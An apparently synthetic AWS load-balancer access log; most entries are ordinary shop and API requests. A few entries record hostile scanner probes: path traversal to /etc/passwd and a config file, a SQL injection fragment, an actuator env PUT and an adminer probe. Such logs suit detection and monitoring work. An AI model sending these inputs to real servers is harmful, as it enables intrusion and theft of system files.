2024-11-01T00:53:43.456307Z "forward" "-" "-" "10.0.24.228:443" "200" "-" "-" -https 2024-11-01T00:53:45.009370Z prod-web-alb 214.173.170.192:23949 10.0.101.136:443 0.026658 0.351303 0.092764 404 404 35 5794 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c429-6f788b317f75444fbb966874" "prod-web-alb.example.com" "-" 8 2024-11-01T00:53:45.009370Z "forward" "-" "-" "10.0.101.136:443" "404" "-" "-" -https 2024-11-01T00:53:46.223885Z staging-alb 156.204.153.127:47146 33.244.131.159:8080 0.147653 0.160780 0.133945 200 200 96 7967 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c42a-eda89f6cc3b44975a4147709" "staging-alb.example.com" "-" 5 2024-11-01T00:53:46.223885Z "forward" "-" "-" "33.244.131.159:8080" "200" "-" "-" -https 2024-11-01T00:53:47.121788Z prod-api-alb 216.31.150.175:20104 10.0.122.89:443 0.048107 0.197990 0.053105 200 200 565 8073 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c42b-43154304c6874909a129466d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:53:47.121788Z "forward" "-" "-" "10.0.122.89:443" "200" "-" "-" -https 2024-11-01T00:53:47.949049Z prod-web-alb 223.47.83.218:16837 10.0.140.134:443 0.065762 0.230780 0.039991 200 200 511 1710 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c42b-ca1b1d6a896e42c981ab7120" "prod-web-alb.example.com" "-" 1 2024-11-01T00:53:47.949049Z "forward" "-" "-" "10.0.140.134:443" "200" "-" "-" -https 2024-11-01T00:53:48.654615Z prod-web-alb 118.46.64.207:51168 10.0.129.247:443 0.097925 0.215244 0.081360 200 200 651 12282 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c42c-81722740a4674b39b654941d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:53:48.654615Z "forward" "-" "-" "10.0.129.247:443" "200" "-" "-" -https 2024-11-01T00:53:49.601275Z prod-web-alb 158.125.66.65:51641 10.0.239.49:443 0.067594 0.320476 0.064608 404 404 650 4466 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c42d-7c11a7ac7f70444e806d6062" "prod-web-alb.example.com" "-" 9 2024-11-01T00:53:49.601275Z "forward" "-" "-" "10.0.239.49:443" "404" "-" "-" -https 2024-11-01T00:53:51.553824Z prod-web-alb 245.28.239.164:43132 10.0.169.218:443 0.065910 0.454316 0.059583 301 301 455 9021 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c42f-f6aac565c6fb46d1a4e15399" "prod-web-alb.example.com" "-" 9 2024-11-01T00:53:51.553824Z "forward" "-" "-" "10.0.169.218:443" "301" "-" "-" -https 2024-11-01T00:53:53.352529Z staging-alb 7.197.181.239:13624 69.146.0.63:8080 0.028827 0.461906 0.019009 200 200 561 11168 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c431-7bff5cd86acc48a89e128d5a" "staging-alb.example.com" "-" 8 2024-11-01T00:53:53.352529Z "forward" "-" "-" "69.146.0.63:8080" "200" "-" "-" -https 2024-11-01T00:53:54.804011Z prod-web-alb 193.27.228.250:55079 10.0.197.249:443 0.039598 0.077125 0.027060 403 403 939 598 "PUT /actuator/env HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c432-fc424c8e8ae44ae091b76572" "-" "-" 9 2024-11-01T00:53:54.804011Z "forward" "-" "-" "10.0.197.249:443" "403" "-" "-" -http 2024-11-01T00:53:55.762569Z staging-alb 45.155.205.141:24238 69.110.118.22:443 0.017629 0.390997 0.144404 403 403 324 14429 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c433-5832e91922c24a53a10709c3" "-" "-" 4 2024-11-01T00:53:55.762569Z "forward" "-" "-" "69.110.118.22:443" "403" "-" "-" -https 2024-11-01T00:53:55.940678Z prod-api-alb 102.38.119.213:57982 10.0.230.83:443 0.058893 0.423493 0.007635 200 200 45 2588 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c433-f218e2d4d31941b49e7f90b4" "prod-api-alb.example.com" "-" 7 2024-11-01T00:53:55.940678Z "forward" "-" "-" "10.0.230.83:443" "200" "-" "-" -https 2024-11-01T00:53:57.244880Z prod-web-alb 207.133.22.118:18779 10.0.16.65:443 0.063374 0.241990 0.005633 200 200 545 10088 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c435-d2321b395342443c8cb6907b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:53:57.244880Z "forward" "-" "-" "10.0.16.65:443" "200" "-" "-" -https 2024-11-01T00:53:57.613338Z prod-web-alb 132.164.55.224:48388 10.0.145.95:443 0.073814 0.114523 0.030802 302 302 778 5579 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c435-9b41c57fdcc8482eafbd96c5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:53:57.613338Z "forward" "-" "-" "10.0.145.95:443" "302" "-" "-" -https 2024-11-01T00:53:58.059508Z prod-api-alb 70.243.210.119:31535 10.0.214.149:443 0.011351 0.364746 0.052539 200 200 485 13239 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c436-515fc3a93f054d998be8d85c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:53:58.059508Z "forward" "-" "-" "10.0.214.149:443" "200" "-" "-" -http 2024-11-01T00:53:59.348345Z staging-alb 152.82.169.51:27000 148.173.55.239:8080 0.025717 0.576806 0.034308 200 200 926 10109 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c437-831c5acdbf5e4ca0bc558470" "staging-alb.example.com" "-" 1 2024-11-01T00:53:59.348345Z "forward" "-" "-" "148.173.55.239:8080" "200" "-" "-" -https 2024-11-01T00:54:00.903754Z prod-api-alb 45.155.205.170:15525 10.0.152.137:443 0.043397 0.346768 0.029892 200 200 831 3282 "POST /search?q=1' UNION SELECT HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c438-05889abd629b4f4f86b9b93c" "-" "-" 5 2024-11-01T00:54:00.903754Z "forward" "-" "-" "10.0.152.137:443" "200" "-" "-" -http 2024-11-01T00:54:02.880865Z staging-alb 45.155.205.51:60010 39.136.180.19:80 0.019631 0.367777 0.065876 403 403 902 3419 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c43a-aa6d3c0c2fc6470c848aae31" "-" "-" 8 2024-11-01T00:54:02.880865Z "forward" "-" "-" "39.136.180.19:80" "403" "-" "-" -http 2024-11-01T00:54:03.277083Z staging-alb 28.80.103.151:50513 165.226.146.77:8080 0.137486 0.206800 0.028874 200 200 767 14812 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c43b-bc989b07a66648c79f04f63f" "staging-alb.example.com" "-" 2 2024-11-01T00:54:03.277083Z "forward" "-" "-" "165.226.146.77:8080" "200" "-" "-" -https 2024-11-01T00:54:03.790522Z staging-alb 86.167.204.194:26294 54.113.188.6:80 0.016217 0.201359 0.013377 200 200 394 13944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c43b-65515f90d4064a5ba9c877c3" "staging-alb.example.com" "-" 3 2024-11-01T00:54:03.790522Z "forward" "-" "-" "54.113.188.6:80" "200" "-" "-" -https 2024-11-01T00:54:05.188525Z prod-web-alb 225.181.113.178:10873 10.0.153.84:443 0.011663 0.118543 0.008056 404 404 666 3851 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c43d-63aa791af74740ac89938271" "prod-web-alb.example.com" "-" 6 2024-11-01T00:54:05.188525Z "forward" "-" "-" "10.0.153.84:443" "404" "-" "-" -http 2024-11-01T00:54:06.211248Z staging-alb 117.51.225.95:21059 199.30.91.56:443 0.067327 0.227546 0.054674 302 302 145 8780 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c43e-8950bb1269cf432aa7533a62" "staging-alb.example.com" "-" 1 2024-11-01T00:54:06.211248Z "forward" "-" "-" "199.30.91.56:443" "302" "-" "-" -https 2024-11-01T00:54:08.119060Z prod-web-alb 63.185.226.98:31676 10.0.145.81:443 0.057547 0.006243 0.039232 200 200 534 10996 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c440-7f4626ca701941bfb691fa7f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:54:08.119060Z "forward" "-" "-" "10.0.145.81:443" "200" "-" "-" -http 2024-11-01T00:54:09.670783Z staging-alb 143.19.166.190:48474 124.73.166.56:80 0.025848 0.666741 0.078643 200 200 612 12243 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c441-d3ddeb664cb546ba9c8b1546" "staging-alb.example.com" "-" 4 2024-11-01T00:54:09.670783Z "forward" "-" "-" "124.73.166.56:80" "200" "-" "-" -https 2024-11-01T00:54:11.664185Z staging-alb 161.76.158.224:19463 227.104.155.93:443 0.011632 0.473701 0.141279 200 200 482 4770 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c443-aad66d3055ab4c74b1331547" "staging-alb.example.com" "-" 1 2024-11-01T00:54:11.664185Z "forward" "-" "-" "227.104.155.93:443" "200" "-" "-" -https 2024-11-01T00:54:12.970668Z staging-alb 2.133.124.175:46746 206.151.200.132:80 0.147518 0.091478 0.059026 200 200 146 1051 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c444-53baec32a4f4409ab84205f4" "staging-alb.example.com" "-" 6 2024-11-01T00:54:12.970668Z "forward" "-" "-" "206.151.200.132:80" "200" "-" "-" -https 2024-11-01T00:54:14.951501Z prod-web-alb 193.27.228.197:54103 10.0.150.42:443 0.044573 0.258854 0.047259 401 401 967 579 "GET /adminer.php HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c446-9195d26180c44be28b5b6d65" "-" "-" 6 2024-11-01T00:54:14.951501Z "forward" "-" "-" "10.0.150.42:443" "401" "-" "-" -https 2024-11-01T00:54:16.304281Z prod-api-alb 209.173.40.222:55908 10.0.67.93:443 0.033960 0.496334 0.061345 200 200 243 10252 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c448-e93ef8eaaaa14ac1bb8221e4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:54:16.304281Z "forward" "-" "-" "10.0.67.93:443" "200" "-" "-" -https 2024-11-01T00:54:17.162182Z prod-web-alb 70.45.228.194:41442 10.0.187.146:443 0.064046 0.202909 0.071291 200 200 205 4300 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c449-cb201a39078e435d9e2793b1" "prod-web-alb.example.com" "-" 10 2024-11-01T00:54:17.162182Z "forward" "-" "-" "10.0.187.146:443" "200" "-" "-" -https 2024-11-01T00:54:19.096413Z prod-api-alb 226.32.225.23:28648 10.0.55.115:443 0.080371 0.433992 0.027058 301 301 812 2574 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c44b-36a8778107b04180b63f7968" "prod-api-alb.example.com" "-" 4 2024-11-01T00:54:19.096413Z "forward" "-" "-" "10.0.55.115:443" "301" "-" "-" -http 2024-11-01T00:54:20.484541Z staging-alb 141.74.156.105:62891 230.141.103.168:80 0.003838 0.685182 0.118196 301 301 193 13251 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c44c-f67b961725684e80adbc9d0d" "staging-alb.example.com" "-" 10 2024-11-01T00:54:20.484541Z "forward" "-" "-" "230.141.103.168:80" "301" "-" "-" -https 2024-11-01T00:54:21.378648Z prod-web-alb 115.238.116.109:41656 10.0.70.136:443 0.049972 0.001254 0.061423 200 200 458 10052 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c44d-0ad895b743524176a1177f1d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:54:21.378648Z "forward" "-" "-" "10.0.70.136:443" "200" "-" "-" -https 2024-11-01T00:54:23.309481Z prod-web-alb 185.210.31.169:42248 10.0.183.183:443 0.091747 0.287099 0.098633 301 301 742 6957 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c44f-f5206eef36174cb699d1524c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:54:23.309481Z "forward" "-" "-" "10.0.183.183:443" "301" "-" "-" -https 2024-11-01T00:54:24.237799Z staging-alb 83.195.223.67:63449 80.107.12.124:443 0.138617 0.495043 0.096218 200 200 208 10089 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c450-54e0d757065d40fc99d3dab9" "staging-alb.example.com" "-" 1 2024-11-01T00:54:24.237799Z "forward" "-" "-" "80.107.12.124:443" "200" "-" "-" -https 2024-11-01T00:54:25.227646Z prod-api-alb 89.90.68.161:52834 10.0.160.26:443 0.052141 0.252533 0.096599 302 302 992 6870 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c451-2b84576f1810440289349c78" "prod-api-alb.example.com" "-" 10 2024-11-01T00:54:25.227646Z "forward" "-" "-" "10.0.160.26:443" "302" "-" "-" -https 2024-11-01T00:54:25.963341Z prod-api-alb 10.29.247.219:60836 10.0.223.49:443 0.004533 0.120849 0.042164 301 301 179 9254 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c451-54ac5237d9374287ad8c173f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:54:25.963341Z "forward" "-" "-" "10.0.223.49:443" "301" "-" "-" -http 2024-11-01T00:54:27.281935Z staging-alb 108.29.191.181:48159 248.251.222.24:443 0.118499 0.179906 0.132657 404 404 134 14658 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c453-f29837e711d84bbfb7727b27" "staging-alb.example.com" "-" 8 2024-11-01T00:54:27.281935Z "forward" "-" "-" "248.251.222.24:443" "404" "-" "-" -https 2024-11-01T00:54:28.150129Z prod-web-alb 119.236.201.101:11332 10.0.56.209:443 0.024288 0.382127 0.010985 200 200 23 5031 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c454-754fdff1ad09476c860c129e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:54:28.150129Z "forward" "-" "-" "10.0.56.209:443" "200" "-" "-" -https 2024-11-01T00:54:30.057070Z prod-web-alb 129.80.219.165:48711 10.0.166.52:443 0.023791 0.108525 0.025216 200 200 276 10546 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c456-32e98b9bfe184a058f7799b9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:54:30.057070Z "forward" "-" "-" "10.0.166.52:443" "200" "-" "-" -https 2024-11-01T00:54:31.083093Z prod-web-alb 10.147.196.143:46020 10.0.47.211:443 0.042233 0.415848 0.019680 301 301 2 5330 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c457-cf62a8c55cb74536b19d9598" "prod-web-alb.example.com" "-" 9 2024-11-01T00:54:31.083093Z "forward" "-" "-" "10.0.47.211:443" "301" "-" "-" -https 2024-11-01T00:54:32.409195Z prod-web-alb 246.166.147.44:12389 10.0.195.139:443 0.099366 0.093143 0.074886 200 200 519 11416 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c458-8ff21657b449447da8da2add" "prod-web-alb.example.com" "-" 5 2024-11-01T00:54:32.409195Z "forward" "-" "-" "10.0.195.139:443" "200" "-" "-" -https 2024-11-01T00:54:34.113791Z prod-api-alb 249.233.77.94:29246 10.0.66.50:443 0.063426 0.014457 0.054885 200 200 387 13836 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c45a-e28c8f0120e345ebb6f3b82f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:54:34.113791Z "forward" "-" "-" "10.0.66.50:443" "200" "-" "-" -http 2024-11-01T00:54:34.871881Z staging-alb 159.57.4.120:29617 212.140.181.203:443 0.149782 0.094016 0.119194 200 200 508 8289 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c45a-6a192b76b1124b77a8de51c4" "staging-alb.example.com" "-" 1 2024-11-01T00:54:34.871881Z "forward" "-" "-" "212.140.181.203:443" "200" "-" "-" -https 2024-11-01T00:54:35.279533Z prod-web-alb 24.81.9.111:42835 10.0.21.126:443 0.048918 0.158981 0.061665 404 404 929 1314 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c45b-088171417e78466096d06dcc" "prod-web-alb.example.com" "-" 3 2024-11-01T00:54:35.279533Z "forward" "-" "-" "10.0.21.126:443" "404" "-" "-" -https 2024-11-01T00:54:36.698873Z prod-api-alb 111.56.246.52:14081 10.0.85.181:443 0.041635 0.439530 0.004427 200 200 165 3160 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c45c-80493d8f93f949e9b4941275" "prod-api-alb.example.com" "-" 2 2024-11-01T00:54:36.698873Z "forward" "-" "-" "10.0.85.181:443" "200" "-" "-" -https 2024-11-01T00:54:36.907286Z prod-api-alb 6.164.90.113:47693 10.0.253.210:443 0.095727 0.056185 0.087906 301 301 341 12956 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c45c-0a8b770461ed4a31bfcedc60" "prod-api-alb.example.com" "-" 4 2024-11-01T00:54:36.907286Z "forward" "-" "-" "10.0.253.210:443" "301" "-" "-" -https 2024-11-01T00:54:38.102817Z prod-web-alb 16.160.65.38:39142 10.0.17.100:443 0.068753 0.468049 0.060131 200 200 503 213 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c45e-d022bd85bf6648d792b598b8" "prod-web-alb.example.com" "-" 1 2024-11-01T00:54:38.102817Z "forward" "-" "-" "10.0.17.100:443" "200" "-" "-" -https 2024-11-01T00:54:40.063417Z prod-web-alb 136.159.64.219:52296 10.0.220.3:443 0.011822 0.349615 0.067529 200 200 932 8787 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c460-61fcd666e19846a1be2f1fb2" "prod-web-alb.example.com" "-" 10 2024-11-01T00:54:40.063417Z "forward" "-" "-" "10.0.220.3:443" "200" "-" "-" -https 2024-11-01T00:54:41.222066Z prod-api-alb 70.89.182.120:45443 10.0.234.166:443 0.088383 0.052247 0.022286 404 404 132 14418 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c461-12a6f8490166477a89aace08" "prod-api-alb.example.com" "-" 2 2024-11-01T00:54:41.222066Z "forward" "-" "-" "10.0.234.166:443" "404" "-" "-" -https 2024-11-01T00:54:42.488593Z staging-alb 144.226.37.25:19428 199.229.138.100:8080 0.115711 0.084564 0.140871 302 302 492 5037 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 